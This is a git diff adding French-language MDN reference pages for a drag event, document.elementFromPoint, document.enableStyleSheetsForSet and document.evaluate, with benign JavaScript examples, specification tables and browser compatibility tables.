+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>dataTransfer</code></td>
+   <td>DataTransfer</td>
+   <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="operator token">&lt;</span>div <span class="keyword token">class</span><span class="operator token">=</span><span class="string token">"dropzone"</span><span class="operator token">&gt;</span>
+  <span class="operator token">&lt;</span>div id<span class="operator token">=</span><span class="string token">"draggable"</span> draggable<span class="operator token">=</span><span class="string token">"true"</span> ondragstart<span class="operator token">=</span><span class="string token">"event.dataTransfer.setData('text/plain',null)"</span><span class="operator token">&gt;</span>
+    Cette div peut être glissée
+  <span class="operator token">&lt;</span><span class="operator token">/</span>div<span class="operator token">&gt;</span>
+<span class="operator token">&lt;</span><span class="operator token">/</span>div<span class="operator token">&gt;</span>
+<span class="operator token">&lt;</span>div <span class="keyword token">class</span><span class="operator token">=</span><span class="string token">"dropzone"</span><span class="operator token">&gt;</span><span class="operator token">&lt;</span><span class="operator token">/</span>div<span class="operator token">&gt;</span>
+<span class="operator token">&lt;</span>div <span class="keyword token">class</span><span class="operator token">=</span><span class="string token">"dropzone"</span><span class="operator token">&gt;</span><span class="operator token">&lt;</span><span class="operator token">/</span>div<span class="operator token">&gt;</span>
+<span class="operator token">&lt;</span>div <span class="keyword token">class</span><span class="operator token">=</span><span class="string token">"dropzone"</span><span class="operator token">&gt;</span><span class="operator token">&lt;</span><span class="operator token">/</span>div<span class="operator token">&gt;</span>
+
+<span class="operator token">&lt;</span>style<span class="operator token">&gt;</span>
+  #draggable <span class="punctuation token">{</span>
+    width<span class="punctuation token">:</span> 200px<span class="punctuation token">;</span>
+    height<span class="punctuation token">:</span> 20px<span class="punctuation token">;</span>
+    text<span class="operator token">-</span>align<span class="punctuation token">:</span> center<span class="punctuation token">;</span>
+    background<span class="punctuation token">:</span> white<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="punctuation token">.</span>dropzone <span class="punctuation token">{</span>
+    width<span class="punctuation token">:</span> 200px<span class="punctuation token">;</span>
+    height<span class="punctuation token">:</span> 20px<span class="punctuation token">;</span>
+    background<span class="punctuation token">:</span> blueviolet<span class="punctuation token">;</span>
+    margin<span class="operator token">-</span>bottom<span class="punctuation token">:</span> 10px<span class="punctuation token">;</span>
+    padding<span class="punctuation token">:</span> 10px<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="operator token">&lt;</span><span class="operator token">/</span>style<span class="operator token">&gt;</span>
+
+<span class="operator token">&lt;</span>script<span class="operator token">&gt;</span>
+  <span class="keyword token">var</span> dragged<span class="punctuation token">;</span>
+
+  <span class="comment token">/* Les événements sont déclenchés sur les objets glissables */</span>
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"drag"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"dragstart"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// Stocke une référence sur l'objet glissable</span>
+      dragged <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">;</span>
+      <span class="comment token">// transparence 50%</span>
+      event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>style<span class="punctuation token">.</span>opacity <span class="operator token">=</span> <span class="punctuation token">.</span><span class="number token">5</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"dragend"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// réinitialisation de la transparence</span>
+      event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>style<span class="punctuation token">.</span>opacity <span class="operator token">=</span> <span class="string token">""</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">/* Les événements sont déclenchés sur les cibles du drop */</span>
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"dragover"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// Empêche le comportement par défaut afin d'autoriser le drop</span>
+      event<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"dragenter"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// Met en surbrillance la cible de drop potentielle lorsque l'élément glissable y entre</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>className <span class="operator token">==</span> <span class="string token">"dropzone"</span> <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+          event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>style<span class="punctuation token">.</span>background <span class="operator token">=</span> <span class="string token">"purple"</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"dragleave"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// réinitialisation de l'arrière-plan des potentielles cible du drop lorsque les éléments glissables les quittent </span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>className <span class="operator token">==</span> <span class="string token">"dropzone"</span> <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+          event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>style<span class="punctuation token">.</span>background <span class="operator token">=</span> <span class="string token">""</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"drop"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// Empêche l'action par défaut (ouvrir comme lien pour certains éléments)</span>
+      event<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="comment token">// Déplace l'élément traîné vers la cible du drop sélectionnée</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>className <span class="operator token">==</span> <span class="string token">"dropzone"</span> <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+          event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>style<span class="punctuation token">.</span>background <span class="operator token">=</span> <span class="string token">""</span><span class="punctuation token">;</span>
+          dragged<span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span> dragged <span class="punctuation token">)</span><span class="punctuation token">;</span>
+          event<span class="punctuation token">.</span>target<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span> dragged <span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="operator token">&lt;</span><span class="operator token">/</span>script<span class="operator token">&gt;</span></code></pre>
+
+<p> </p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drop event")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dndevents", "drop event")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Première définition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateur">Compatibilités navigateur</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{event("drag")}}</li>
+ <li>{{event("dragstart")}}</li>
+ <li>{{event("dragend")}}</li>
+ <li>{{event("dragover")}}</li>
+ <li>{{event("dragenter")}}</li>
+ <li>{{event("dragleave")}}</li>
+ <li>{{event("dragexit")}}</li>
+ <li>{{event("drop")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/elementfrompoint/index.html b/files/fr/web/api/document/elementfrompoint/index.html
new file mode 100644
index 0000000000..d715bfad7a
--- /dev/null
+++ b/files/fr/web/api/document/elementfrompoint/index.html
@@ -0,0 +1,52 @@
+---
+title: document.elementFromPoint
+slug: Web/API/Document/elementFromPoint
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Renvoie l'élément visible au point donné, spécifié relativement au point supérieur gauche visible dans le document.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval"><i>element</i> = document.elementFromPoint(<i>x</i>,<i>y</i>);
+</pre>
+<p>where</p>
+<ul>
+ <li><code>element</code> est un objet <a href="fr/DOM/element">element</a>.</li>
+ <li><code>x</code> et <code>y</code> spécifient les coordonnées à vérifier.</li>
+</ul>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Exemple d'utilisation d'elementFromPoint&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function changeColor(newColor)
+{
+ elem = document.elementFromPoint(2, 2);
+ elem.style.color = newColor;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p id="para1"&gt;Un peu de texte ici&lt;/p&gt;
+&lt;button onclick="changeColor('blue');"&gt;bleu&lt;/button&gt;
+&lt;button onclick="changeColor('red');"&gt;rouge&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>Si l'élément au point spécifié appartient à un autre document (par exemple, les sous-document d'un iframe), l'élément dans le DOM du document appelant (l'iframe lui-même) est renvoyé. Si l'élément au point donné est anonyme ou du contenu généré par XBL, comme la barre de défilement d'une boîte de texte, le premier élément parent non anonyme (par exemple, la boîte de texte) est renvoyé.</p>
+<p>Si le point spécifié est en dehors de la portion visible du document ou que l'une ou l'autre des coordonnées est négative, le résultat est <code>NULL</code>.</p>
+<p>{{ Note("Les appelants qui sont des documents XUL devraient attendre que l\'évènement <code>onload</code> se soit déclenché avant d\'appeler cette méthode.") }}</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<ul>
+ <li>Spécification préliminaire : <code><a class="external" href="http://dev.w3.org/csswg/cssom/#documentlayout-elementfrompoint">elementFromPoint</a></code></li>
+</ul>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/document.elementFromPoint", "es": "es/DOM/document.elementFromPoint", "ja": "ja/DOM/document.elementFromPoint" } ) }}</p>
diff --git a/files/fr/web/api/document/enablestylesheetsforset/index.html b/files/fr/web/api/document/enablestylesheetsforset/index.html
new file mode 100644
index 0000000000..d6fb8bc63f
--- /dev/null
+++ b/files/fr/web/api/document/enablestylesheetsforset/index.html
@@ -0,0 +1,59 @@
+---
+title: Document.enableStyleSheetsForSet()
+slug: Web/API/Document/enableStyleSheetsForSet
+tags:
+  - API
+  - Activation
+  - CSS
+  - DOM
+  - Feuilles de styles
+  - Méthode
+translation_of: Web/API/Document/enableStyleSheetsForSet
+---
+<p>{{ APIRef("DOM") }}{{ gecko_minversion_header("1.9") }}</p>
+
+<p>Active les feuilles de styles correspondant au nom spécifié dans l'ensemble de feuilles de styles en cours et désactive toutes les autres (à l'exception de celles sans titre qui sont toujours activées).</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval">document.enableStyleSheetsForSet(<em>name</em>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Le nom des feuilles de styles à activer. Toutes les feuilles de styles dont le titre correspond à ce nom seront activées, tandis que toutes celles possédant un autre titre seront désactivées. Spécifiez une chaîne vide dans le paramètre <code>name</code> pour supprimer toutes les feuilles de styles alternatives et préférées (mais pas les feuilles de styles persistantes, c'est-à-dire, celles sans attribut <code>title</code> (<em>titre</em>)).</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Les correspondances de titre sont sensibles à la casse.</li>
+ <li>L'appel de cette méthode avec un <code>name</code>  <code>null</code> n'a pas d'effet ; si vous voulez désactiver toutes les feuilles de styles alternatives et préférées, vous <strong>devez</strong> utiliser "",  la chaîne vide.</li>
+ <li>Les feuilles de styles qui n'ont pas de titre ne sont jamais affectées par cette méthode.</li>
+ <li>Cette méthode n'affecte jamais les valeurs de {{ domxref("document.lastStyleSheetSet") }} ou {{ domxref("document.preferredStyleSheetSet") }}.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre>document.enableStyleSheetsForSet("Some style sheet set name");
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets" title="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets">HTML5 : Alternate Style Sheets</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("Stylesheet") }}</li>
+ <li>{{ domxref("document.styleSheets") }}</li>
+ <li>{{ domxref("document.lastStyleSheetSet") }}</li>
+ <li>{{ domxref("document.preferredStyleSheetSet") }}</li>
+ <li>{{ domxref("document.selectedStyleSheetSet") }}</li>
+ <li>{{ domxref("document.enableStyleSheetsForSet()") }}</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Archive/Standards_du_Web/Utiliser_des_titres_corrects_avec_des_feuilles_de_styles_externes" title="en/Correctly Using Titles With External Stylesheets">Utiliser des titres corrects avec des feuilles de styles externes</a></li>
+</ul>
diff --git a/files/fr/web/api/document/evaluate/index.html b/files/fr/web/api/document/evaluate/index.html
new file mode 100644
index 0000000000..51130c63be
--- /dev/null
+++ b/files/fr/web/api/document/evaluate/index.html
@@ -0,0 +1,163 @@
+---
+title: document.evaluate
+slug: Web/API/Document/evaluate
+tags:
+  - API
+  - DOM
+  - Méthode
+  - Reference
+  - XPath
+translation_of: Web/API/Document/evaluate
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>La méthode <code><strong>evaluate()</strong></code> renvoie un {{domxref("XPathResult")}} basé sur une expression <a href="https://developer.mozilla.org/fr/docs/XPath" title="XPath">XPath</a> et d'autres paramètres donnés.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var xpathResult = document.evaluate(
+ xpathExpression,
+ contextNode,
+ namespaceResolver,
+ resultType,
+ result
+);</pre>
+
+<ul>
+ <li><code>xpathExpression</code> est une chaîne de caractères représentant le XPath à évaluer.</li>
+ <li><code>contextNode</code> spécifie le noeud de contexte pour la requête (voir <a class="external external-icon" href="http://www.w3.org/TR/xpath" rel="freelink">XPath specification</a>) . Il est courant de transmettre un document en tant que nœud de contexte.</li>
+ <li><code>namespaceResolver</code> est une fonction qui recevra tous les préfixes d'espace de noms et devrait renvoyer une chaîne représentant l'URI de l'espace de noms associé à ce préfixe. Il sera utilisé pour résoudre les préfixes dans le XPath lui-même, afin qu'ils puissent être mis en correspondance avec le document. <code>null</code> est commun pour les documents HTML ou lorsque aucun préfixe d'espace de noms n'est utilisé.</li>
+ <li><code>resultType</code> est un nombre entier qui correspond au type de résultat <code>XPathResult</code> à retourner. Utilisez des <a href="#Types_de_resultats">propriétés de constantes nommées</a>, comme <code>XPathResult.ANY_TYPE</code>  du constructeur de XPathResult , lequel correspond à un nombre entier compris entre 0 et 9.</li>
+ <li><code>result</code> est un <code>XPathResult</code> existant à utiliser pour les résultats.  <code>null</code> est le plus commun et va créer un nouveau XPathResult</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"> var  headings  =  document .  evaluate  ( " / html / body //h2", document, null, XPathResult.ANY_TYPE, null);
+ /* Cherche le document pour tout élément h2.
+ * Le résultat sera probablement un itérateur de noeuds non ordonné. */
+ var  thisHeading  =  headings .  iterateNext  (  )  ;
+ var  alertText  =   "Level 2 headings in this document are:\n"  ;
+ while   ( thisHeading )   {
+  alertText  +  =  thisHeading . textContent  +   "\n"  ;
+  thisHeading  =  headings .  iterateNext  (  )  ;
+ }
+ alert  ( alertText )  ;   // Alerte le texte de tout élément h2 </code></pre>
+
+<p>Note : dans l'exemple ci-dessus, un XPath plus verbeux est préféré aux raccourcis communs tels que <code>//h2</code>. Généralement, des sélecteurs XPath plus spécifiques, comme dans l'exemple ci-dessus, améliorent de façon significative les performances, en particulier pour les documents très volumineux. C'est parce que l'évaluation de la requête ne perd pas de temps à visiter des noeuds inutiles. L'utilisation de // est généralement lente car elle visite tous les nœuds de la racine et tous les sous-nœuds à la recherche de correspondances possibles.</p>
+
+<p>Une optimisation supplémentaire peut être obtenue en utilisant soigneusement le paramètre de contexte. Par exemple, si vous savez que le contenu que vous recherchez se trouve quelque part dans la balise body, vous pouvez utiliser ceci :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">document .  evaluate  ( " .  //h2", document.body, null, XPathResult.ANY_TYPE, null); </code></pre>
+
+<p>Remarquez ci-dessus,  <code>document.body</code> a été utilisé comme contexte plutôt que comme document, de sorte que le XPath commence à partir de l'élément body. (Dans cet exemple, le <code>"."</code> est important pour indiquer que l'interrogation doit commencer à partir du noeud contextuel, document.body . Si le "." est omis (en quittant <code>//h2</code>), la requête démarrera à partir du noeud racine ( <code>html</code>) ce qui serait plus inutile.)</p>
+
+<p>Voir <a href="https://developer.mozilla.org/fr/docs/Introduction_%C3%A0_l'utilisation_de_XPath_avec_JavaScript" title="Introduction to using XPath in JavaScript">Introduction à l'utilisation de XPath avec JavaScript</a>  pour plus d'informations.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Les expressions XPath peuvent être évaluées sur les documents HTML et XML.</li>
+ <li>Lors de l'utilisation de document.evaluate() dans FF2 ; dans FF3, il faut utiliser someXMLDoc.evaluate() si l'on évalue quelque chose d'autre que le document actuel.</li>
+</ul>
+
+<h2 id="Types_de_résultats">Types de résultats</h2>
+
+<p>Ce sont des valeurs prises en charge pour le paramètre <code>resultType</code> de la méthode <code>evaluate</code> :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Type de résultat</td>
+   <td class="header">Valeur</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>ANY_TYPE</code></td>
+   <td>0</td>
+   <td>Quel que soit le type, résulte naturellement de l'expression donnée.</td>
+  </tr>
+  <tr>
+   <td><code>NUMBER_TYPE</code></td>
+   <td>1</td>
+   <td>Un ensemble de résultats contenant un seul nombre. Utile, par exemple, dans une expression XPath utilisant la fonction count().</td>
+  </tr>
+  <tr>
+   <td><code>STRING_TYPE</code></td>
+   <td>2</td>
+   <td>Un ensemble de résultats contenant une seule chaîne de caractères.</td>
+  </tr>
+  <tr>
+   <td><code>BOOLEAN_TYPE</code></td>
+   <td>3</td>
+   <td>Un ensemble de résultats contenant une seule valeur booléenne. Utile pour, par exemple, une expression XPath utilisant la fonction not().</td>
+  </tr>
+  <tr>
+   <td><code>UNORDERED_NODE_ITERATOR_TYPE</code></td>
+   <td>4</td>
+   <td>Un ensemble de résultats contenant tous les nœuds correspondant à l'expression. Les nœuds de cet ensemble ne sont pas nécessairement dans le même ordre que celui de leur apparition dans le document.</td>
+  </tr>
+  <tr>
+   <td><code>ORDERED_NODE_ITERATOR_TYPE</code></td>
+   <td>5</td>
+   <td>Un ensemble de résultats contenant tous les noeuds correspondant à l'expression. Les nœuds de cet ensemble sont dans le même ordre que celui de leur apparition dans le document .</td>
+  </tr>
+  <tr>
+   <td><code>UNORDERED_NODE_SNAPSHOT_TYPE</code></td>
+   <td>6</td>
+   <td>Un ensemble de résultats contenant des instantanés de tous les nœuds correspondant à l'expression. Les nœuds de cet ensemble ne sont pas nécessairement dans le même ordre que celui de leur apparition dans le document .</td>
+  </tr>
+  <tr>
+   <td><code>ORDERED_NODE_SNAPSHOT_TYPE</code></td>
+   <td>7</td>
+   <td>Un ensemble de résultats contenant des instantanés de tous les nœuds correspondant à l'expression. Les nœuds de cet ensemble sont dans le même ordre que celui de leur apparition dans le document .</td>
+  </tr>
+  <tr>
+   <td><code>ANY_UNORDERED_NODE_TYPE</code></td>
+   <td>8</td>
+   <td>Un ensemble de résultats contenant un seul nœud correspondant à l'expression. Le noeud n'est pas nécessairement le premier noeud du document qui correspond à l'expression.</td>
+  </tr>
+  <tr>
+   <td><code>FIRST_ORDERED_NODE_TYPE</code></td>
+   <td>9</td>
+   <td>Un ensemble de résultats contenant le premier nœud du document qui correspond à l'expression.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Les résultats des types <code>NODE_ITERATOR</code> contiennent des références aux noeuds du document. La modification d'un nœud invalidera l'itérateur. Après avoir modifié un nœud, tenter de parcourir les résultats entraînera une erreur.</p>
+
+<p>Les résultats des types <code>NODE_SNAPSHOT</code> sont des instantanés, qui sont essentiellement des listes de nœuds correspondants. Vous pouvez apporter des modifications au document en modifiant les nœuds de capture instantanée. La modification du document n'invalide pas l'instantané. Toutefois, si le document est modifié, l'instantané peut ne pas correspondre à l'état actuel du document, car les nœuds peuvent avoir été déplacés, modifiés, ajoutés ou supprimés.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}</td>
+   <td>{{Spec2("DOM3 XPath")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Document.evaluate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document/createExpression" title="DOM/document.createExpression">DOM : document.createExpression</a></li>
+ <li><a href="https://developer.mozilla.org/fr/Add-ons/Code_snippets/XPath" title="Code_snippets/XPath">XPath Code Snippets</a></li>
+ <li><a href="http://codepen.io/johan/full/ckFgn">Vérifier le support du navigateur</a></li>
+</ul>
